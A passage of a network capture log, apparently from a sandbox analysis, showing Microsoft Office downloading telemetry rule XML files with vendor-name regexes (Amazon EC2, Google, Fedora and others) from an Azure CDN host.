encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49817	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:26 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:26 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: e5dab064-101e-0046-04f5-2491b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140526Z-r197bdfb6b46gt25anfa5gg2fw000000036000000000r6wp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:26 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49818	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:27 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:27 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 9658a421-401e-008c-7ff3-2486c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140527Z-15b8d89586fx2hlt035xdehq580000000ek000000000aq77 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:27 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49819	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:27 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:27 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:27 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 7a637aca-b01e-0002-3c05-221b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140527Z-16849878b78c5zx4gw8tcga1b400000007tg000000000wdh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:27 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49820	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:27 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:27 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:27 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: d4d27aa7-601e-0002-1812-22a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140527Z-16849878b7862vlcc7m66axrs000000007q000000000psyk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:27 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49821	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:27 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:27 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 95c67357-201e-0051-60f5-247340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140527Z-15b8d89586f2hk28h0h6zye26c00000001h000000000fat4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:27 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49822	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:27 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:27 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 71d2c1fc-001e-00a2-01de-21d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140527Z-16849878b78j5kdg3dndgqw0vg00000000x000000000587p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:27 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49824	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:28 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:28 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:28 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 250cc9c1-301e-000c-4ec3-20323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140528Z-16849878b78rjhv97f3nhawr7s00000007q000000000k922 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:28 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49825	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:28 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 07aa16c4-201e-0033-7ef4-24b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140528Z-r197bdfb6b4r9fwfbdwymmgex800000001fg00000000k9m7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49826	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:28 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:28 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:28 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: e692d532-001e-00a2-3ae7-20d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140528Z-16849878b78gvgmlcfru6nuc5400000007rg00000000fb9s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:28 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49823	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:28 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:28 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 700672c4-201e-0096-3cf2-24ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140528Z-r197bdfb6b4kkrkjudg185sarw00000001v000000000geb1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:28 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49827	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:28 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:28 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 4c87ede1-d01e-0065-6b9c-21b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140528Z-16849878b78k8q5pxkgux3mbgg00000007sg00000000bsy6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49828	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:28 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:29 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 26e7cda7-e01e-001f-32f8-251633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140529Z-16849878b78bkvbz1ry47zvsas00000007vg000000009630 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
